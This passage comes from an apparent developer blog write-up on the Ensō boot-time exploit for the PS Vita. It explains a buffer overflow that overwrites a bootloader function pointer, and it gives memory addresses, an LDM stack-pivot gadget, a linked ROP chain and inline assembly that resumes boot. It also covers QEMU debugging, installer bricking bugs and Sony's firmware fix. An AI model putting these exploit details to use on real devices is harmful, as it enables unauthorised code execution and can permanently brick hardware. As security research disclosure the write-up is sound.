    &lt;span class=&quot;n&quot;&gt;raw_block_read&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kr&quot;&gt;__fastcall&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;**&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;_DWORD&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;unsigned&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;char&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;v68&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;84&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;!&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;raw_block_read&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
      &lt;span class=&quot;k&quot;&gt;goto&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;LABEL_42&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;c1&quot;&gt;// we'll exploit this call below&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;v12&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;raw_block_read&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;_DWORD&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;v68&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;88&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;),&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;v69&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;blocks_per_sector&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;9&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;temp_store&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
  &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
  &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;v12&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;goto&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;LABEL_42&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;blocks_per_sector&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;_DWORD&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;v68&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;80&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;v13&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;blocks_per_sector&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;5&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
  &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;blocks_per_sector&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;5&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;break&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;nl&quot;&gt;LABEL_49:&lt;/span&gt;
  &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;++&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;v69&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;v77&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
  &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;v8&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;v11&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;goto&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;LABEL_51&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
  &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;raw_block_read&lt;/code&gt; is a function pointer. It reads 0x200-sized blocks from the flash.
&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;blocks_per_sector &amp;gt;&amp;gt; 9&lt;/code&gt; is equivalent to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;blocks_per_sector / 0x200&lt;/code&gt;, so it calculates how many blocks a sector is made of and reads that much from the flash memory.&lt;/p&gt;

&lt;p&gt;The data is read into &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;temp_store&lt;/code&gt; which is a global array 0x200 bytes in size. Now that we’ve managed to set &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;blocks_per_sector&lt;/code&gt; to 0x400, it will overflow the array and corrupt the data after it.&lt;/p&gt;

&lt;p&gt;The function pointer, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;raw_block_read&lt;/code&gt;, is loaded from &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;v68 + 84&lt;/code&gt;. &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;v68&lt;/code&gt; is a pointer to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;os0_dev&lt;/code&gt;, which is also a global variable. It is located at &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;0x51167784&lt;/code&gt;, while &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;temp_store&lt;/code&gt; is located at &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;0x511671A0&lt;/code&gt;. As such, we can corrupt the whole structure including this function pointer by setting &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;blocks_per_sector&lt;/code&gt; to e.g. 0x800.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/enso/raw_block_read.png&quot; alt=&quot;Exploit process&quot; class=&quot;center-image&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Now if the loop executes at least twice, on the first iteration it will corrupt the function pointer and on the second it will execute our code!&lt;/p&gt;

&lt;h1 id=&quot;debugging-the-exploit&quot;&gt;Debugging the exploit&lt;/h1&gt;

&lt;p&gt;Since any mistake here would result in a permanently bricked console, testing the exploit requires a modified Vita system so that one can restore eMMC contents at any time. At the time I didn’t have access to one, so the initial testing was done on QEMU.&lt;/p&gt;

&lt;p&gt;By mapping bootloader image to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;0x51000000&lt;/code&gt;, stubbing some functions (e.g. changing &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;raw_block_read&lt;/code&gt; to read from file instead of implementing the HW interface), we created a test environment that allowed for rapid prototyping of the exploit.&lt;/p&gt;

&lt;div class=&quot;aside&quot;&gt;
  &lt;p&gt;&lt;strong&gt;Sidenote:&lt;/strong&gt; Vita has 4 ARM cores. You can think of it as 4 separate CPUs. When the non-secure world starts, all CPUs start executing NSBL from the first instruction at the same time.&lt;/p&gt;

  &lt;p&gt;The &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;cpu_barrier_start&lt;/code&gt; and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;cpu_barrier_end&lt;/code&gt; functions make sure that different CPUs execute same code sequentially. For example, in pseudocode:&lt;/p&gt;

  &lt;div class=&quot;language-c highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;n&quot;&gt;cpu_barrier_start&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;some_function&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;cpu_barrier_end&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;  &lt;/div&gt;

  &lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;some_function()&lt;/code&gt; would be called sequentially by CPU0, CPU1, CPU2, CPU3, and only a single CPU would execute it at a time.&lt;/p&gt;

  &lt;p&gt;However, there is a bug in these barrier functions. Can you find it? This bug never shows on real hardware, but on old QEMU it prevents us from going past the first barrier so I had to fix it. Here’s the &lt;a href=&quot;https://gist.github.com/xyzz/e298464d9eb96543ed87027190b8120a&quot;&gt;code listing&lt;/a&gt;, including supporting functions.&lt;/p&gt;
&lt;/div&gt;

&lt;p&gt;What’s the best part about using QEMU? You get console output!&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/enso/gdb.png&quot; alt=&quot;QEMU window&quot; class=&quot;center-image&quot; /&gt;&lt;/p&gt;

&lt;p&gt;What’s even better? You get debugging too!&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/enso/gdb2.png&quot; alt=&quot;gdb window&quot; class=&quot;center-image&quot; /&gt;&lt;/p&gt;

&lt;p&gt;It turns out that in addition to having no ASLR in the bootloader, it is also entirely mapped as RWX. At this point developing the rest of the exploit was a breeze. What I did was overwrite the function pointer with a pointer to the global buffer, then write our shellcode to the buffer. Soon I had a payload which did a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;printf&lt;/code&gt; (that you cannot see on real hardware) and another one which blinked the PS button led.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/enso/exploit_01.png&quot; alt=&quot;Exploit attempt 01&quot; class=&quot;center-image&quot; /&gt;&lt;/p&gt;

&lt;h1 id=&quot;testing-on-real-hardware&quot;&gt;Testing on real hardware&lt;/h1&gt;

&lt;p&gt;I had davee help me test the payload on a real Vita which had a eMMC hardware mod implemented. Unfortunately, it did not work at all. The reason for that is that ARM is not instruction/data cache coherent. &lt;small&gt;(which I really should’ve remembered but at the time was blinded by the excitement of having a boot time hack)&lt;/small&gt;&lt;/p&gt;

&lt;p&gt;What that means is that you cannot just write code into RWX memory and jump into it – you have to writeback the data cache first and then flush the instruction cache. So even though there’s RWX memory and we have our code already there, we still have to implement a ROP chain to perform cache maintenance.&lt;/p&gt;

&lt;p&gt;Fortunately, we have all the pieces already. We control the function pointer and also &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;R0&lt;/code&gt; (it is the first argument to the function, it’s loaded from &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;v68 + 88&lt;/code&gt; and we control data around &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;v68&lt;/code&gt;). We also have our controlled data put at a known address, and NSBL has all the gadgets and cache maintenance functions we might ever need.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/enso/exploit_02.png&quot; alt=&quot;Exploit attempt 02&quot; class=&quot;center-image&quot; /&gt;&lt;/p&gt;

&lt;p&gt;To kick off the ROP chain I used this LDM gadget that loads both PC and SP from R0 as a pivot:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;0x51014f10 e890b672 ldm r0, {r1, r4, r5, r6, r9, sl, ip, sp, pc}
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;From there, the ROP chain calls data cache clean (also known as writeback on other architectures), instruction cache flush, and finally jumps to the payload. You can find the full ROP chain &lt;a href=&quot;https://github.com/henkaku/enso/blob/c9b8bbb01133043925aa662f64cd99b9f9dd07c5/gen.py#L48&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;

&lt;h1 id=&quot;payload&quot;&gt;Payload&lt;/h1&gt;

&lt;p&gt;Ultimately, we want Vita to boot. However, since 0x800 bytes of data section are corrupted, the bootloader now is in a weird state with a completely broken &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;os0_dev&lt;/code&gt;. Not only is it overwritten, but there’s no actual “filesystem” in place, it’s just our hacked up boot sector.
We have to restore it before the boot can proceed:&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;&lt;a href=&quot;https://github.com/henkaku/enso/blob/b4b0f22c4dad5402daadd2f609e8ecc9cce4f469/first.c#L23&quot;&gt;Patch&lt;/a&gt; the partition read function. We redirect block 0 to block 1 and in Ensō installer write the original pristine partition table into block 1. We need to do this so that the rest of the system doesn’t use our broken &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;os0&lt;/code&gt; “partition”.&lt;/li&gt;
&lt;/ol&gt;

&lt;div class=&quot;aside&quot;&gt;
  &lt;p&gt;&lt;strong&gt;Sidenote:&lt;/strong&gt; We’re redirecting all reads of block 0 to block 1, but not writes. This means if you read block 0 and then write it back, you’ll implicitly uninstall Ensō. One tool that does this is Sony firmware updater (when flipping active os0 bit), which is also the reason we’ve designed Ensō this way.&lt;/p&gt;

  &lt;p&gt;However, this results in unintutive and dangerous interactions. For example, if you uninstall Ensō, we restore block 0 and overwrite other blocks used by our payload (including block 1) with empty data. But this also means that if the system tries to read block 0 after the uninstall, it’d get garbage data. Which is why it’s important that any modification to Ensō operation is followed by a reboot.&lt;/p&gt;

  &lt;p&gt;&lt;img src=&quot;/assets/enso/mbr_interactions.png&quot; alt=&quot;eMMC state vs what the kernel sees&quot; class=&quot;center-image&quot; /&gt;&lt;/p&gt;

  &lt;p&gt;Another failure of our design is that we didn’t provide a way to detect whether Ensō is installed.
To make sure we don’t uninstall what’s not installed, the original uninstaller checked block 1 to see if it’s a valid MBR. It then read it and wrote it to block 0. However, if instead of uninstalling Ensō through the application you upgraded your firmware and “implicitly” got rid of it, the block 1 would remain. At this point if you run the uninstaller again (never mind that there’s no reason to do that as Ensō is no longer installed), even if not on 3.60 anymore, it would see valid MBR in block 1, overwrite your real MBR with it and likely &lt;a href=&quot;https://github.com/henkaku/enso/pull/15&quot;&gt;brick your console&lt;/a&gt;.&lt;/p&gt;

  &lt;p&gt;&lt;img src=&quot;/assets/enso/brick.png&quot; alt=&quot;Why this bricked&quot; class=&quot;center-image&quot; /&gt;&lt;/p&gt;

  &lt;p&gt;The solution is simple yet perfect – just get rid of that logic. Instead, always read block 0 and write it back.&lt;/p&gt;
&lt;/div&gt;

&lt;ol start=&quot;2&quot;&gt;
  &lt;li&gt;&lt;a href=&quot;https://github.com/henkaku/enso/blob/b4b0f22c4dad5402daadd2f609e8ecc9cce4f469/first.c#L33&quot;&gt;Reinitialize&lt;/a&gt; &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;os0_dev&lt;/code&gt; so that it points to the correct partition and can be read from.&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://github.com/henkaku/enso/blob/b4b0f22c4dad5402daadd2f609e8ecc9cce4f469/first.c#L36&quot;&gt;Restore&lt;/a&gt; the data we accidentally corrupted with the buffer overflow.&lt;/li&gt;
&lt;/ol&gt;

&lt;div class=&quot;aside&quot;&gt;
  &lt;p&gt;&lt;strong&gt;Sidenote:&lt;/strong&gt; This was one of the show-stoppers during the development of Ensō. One of the more important things we overwrite is &lt;a href=&quot;https://wiki.henkaku.xyz/vita/Sysroot&quot;&gt;sysroot&lt;/a&gt; which stores a ton of console-specific information. Initially, I developed the exploit on an earlier firmware where the different layout of NSBL ensured that nothing important is overwritten. On 3.60, however, we were stuck. Without a valid sysroot the console wouldn’t get very far in the boot process. The sysroot is also generated by an earlier boot stage, so there’s no way to recreate it. Fortunately, Yifan has found out that just before our vulnerable code is executed, the sysroot is copied by NSBL to a different place, and we can easily copy it back. Crisis averted!&lt;/p&gt;
&lt;/div&gt;

&lt;ol start=&quot;4&quot;&gt;
  &lt;li&gt;&lt;a href=&quot;https://github.com/henkaku/enso/blob/b4b0f22c4dad5402daadd2f609e8ecc9cce4f469/first.c#L57&quot;&gt;Load&lt;/a&gt; the larger payload. It does some magic to make sure HENkaku and taihen are loaded on boot. &lt;small&gt;Yifan wrote that one so it’s probably full of bugs, but you can check out his writeup &lt;a href=&quot;https://yifan.lu/2017/07/31/henkaku-enso-bootloader-hack-for-vita/&quot;&gt;here&lt;/a&gt; &lt;small&gt;if &lt;small&gt;you &lt;small&gt;care.&lt;/small&gt;&lt;/small&gt;&lt;/small&gt;&lt;/small&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://github.com/henkaku/enso/blob/b4b0f22c4dad5402daadd2f609e8ecc9cce4f469/first.c#L75&quot;&gt;Restore&lt;/a&gt; the context and resume boot, as if nothing had happened.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;When we enter the executable payload, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;sp&lt;/code&gt; is somewhere inside our ROP chain (which is somewhere inside the data section, near the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;os0_dev&lt;/code&gt; structure). The very first thing the payload does is change &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;sp&lt;/code&gt; to unused scratch area so that our C code doesn’t turn the data section into garbage.&lt;/p&gt;

&lt;p&gt;Once we’re done with our hooking and patching though, we want Vita to continue its boot process. But remember that our payload got called in the first place because of the exploit – while executing an NSBL function the bootloader just jumped into our code! And there’s nowhere for our payload to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;return&lt;/code&gt;, as it’s using a separate stack set up by the pivot gadget.&lt;/p&gt;

&lt;p&gt;There’re multiple solutions to this problem. For example, one could reimplement NSBL from scratch, or clean it up and trigger a soft-reboot. However, I’ve solved this issue by “restarting” the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;exploited_fat_func&lt;/code&gt; from the point we took over. I did that by restoring corrupted registers to their original values, including the original SP. It is similar to how &lt;a href=&quot;https://en.cppreference.com/w/c/program/setjmp&quot;&gt;setjmp&lt;/a&gt; and &lt;a href=&quot;https://en.cppreference.com/w/c/program/longjmp&quot;&gt;longjmp&lt;/a&gt; work, although I never bothered to explicitly save the original values, instead, they are recalculated. Here’s the code:&lt;/p&gt;

&lt;div class=&quot;language-c highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;c1&quot;&gt;// restore context and resume boot&lt;/span&gt;
&lt;span class=&quot;kt&quot;&gt;uint32_t&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;sp&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;uint32_t&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;**&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)(&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0x51030100&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x220&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;// sp top for core 0&lt;/span&gt;
&lt;span class=&quot;kt&quot;&gt;uint32_t&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;old_sp&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;sp&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x11d&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;c1&quot;&gt;// r0: 0x51167784 os0_dev&lt;/span&gt;
&lt;span class=&quot;c1&quot;&gt;// r1: 0xfffffffe&lt;/span&gt;
&lt;span class=&quot;c1&quot;&gt;// r2: sp - 0x110&lt;/span&gt;
&lt;span class=&quot;c1&quot;&gt;// r3: 0&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;__asm__&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;volatile&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;
    &lt;span class=&quot;s&quot;&gt;&quot;movw r0, #0x7784&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\n&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;&lt;/span&gt;
    &lt;span class=&quot;s&quot;&gt;&quot;movt r0, #0x5116&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\n&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;&lt;/span&gt;
    &lt;span class=&quot;s&quot;&gt;&quot;movw r1, #0xfffe&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\n&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;&lt;/span&gt;
    &lt;span class=&quot;s&quot;&gt;&quot;movt r1, #0xffff&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\n&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;&lt;/span&gt;
    &lt;span class=&quot;s&quot;&gt;&quot;mov r2, %0&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\n&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;&lt;/span&gt;
    &lt;span class=&quot;s&quot;&gt;&quot;mov r3, #0&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\n&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;&lt;/span&gt;
    &lt;span class=&quot;s&quot;&gt;&quot;mov sp, %1&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\n&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;&lt;/span&gt;
    &lt;span class=&quot;s&quot;&gt;&quot;mov r4, %2&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\n&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;&lt;/span&gt;
    &lt;span class=&quot;s&quot;&gt;&quot;bx r4&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\n&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;&lt;/span&gt;
    &lt;span class=&quot;o&quot;&gt;:&lt;/span&gt;
    &lt;span class=&quot;o&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;r&quot;&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;sp&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x110&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;),&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;r&quot;&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;old_sp&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;),&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;r&quot;&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0x5101F571&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;o&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;r0&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;r1&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;r2&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;r3&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;r4&quot;&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;And from that point the boot continues normally and your Vita boots straight into HENkaku. Isn’t that great?&lt;/p&gt;

&lt;h1 id=&quot;bricks--lessons-learned&quot;&gt;Bricks &amp;amp; lessons learned&lt;/h1&gt;

&lt;p&gt;There were two bricks during the private testing period and ~3 bricks because of the &lt;a href=&quot;https://github.com/henkaku/enso/pull/15&quot;&gt;uninstaller bug&lt;/a&gt; described above. Unfortunately, we didn’t learn about the brick bug fast enough because people reported it on various forums instead of using our issue tracker (which is also our fault as we didn’t provide a clearly visible URL pointing to it).&lt;/p&gt;

&lt;p&gt;Having said that, with over 270,000 downloads as reported by GitHub, I consider this release a huge success. At the same time, there are still things we could’ve done better. The obvious one is lack of a way to detect whether Ensō is installed, but there’re also other ideas I’ve been thinking about such as auto-uploading installer logs to our server, checking for installer updates at startup, and a user-friendly way to update taiHEN and HENkaku kernel modules.&lt;/p&gt;

&lt;p&gt;Hopefully, our experience will serve as a great example of why dangerous code like the installer cannot be too safe. While we did have a ton of safety checks, including reading back blocks after they are written and checking they’re intact, we still missed a bug that resulted in a few bricks. Fortunately, as it is fixed now, there are no more bugs left and Ensō installer is the first ever example of bug-free C code!&lt;/p&gt;

&lt;h1 id=&quot;how-sony-fixed-it&quot;&gt;How Sony fixed it&lt;/h1&gt;

&lt;p&gt;The vulnerability was fixed by Sony in firmware 3.67, which means firmwares 3.60 to 3.65 (and potentially everything before 3.60) are exploitable. They added the missing return value check and a panic call inside &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;setup_emmc&lt;/code&gt; after &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;fat_buggy_func&lt;/code&gt; is called.&lt;/p&gt;

&lt;div class=&quot;language-c highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;n&quot;&gt;result&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;fat_buggy_func&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;cm&quot;&gt;/* ... */&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;os0_ret&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;result&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;c1&quot;&gt;// ...&lt;/span&gt;
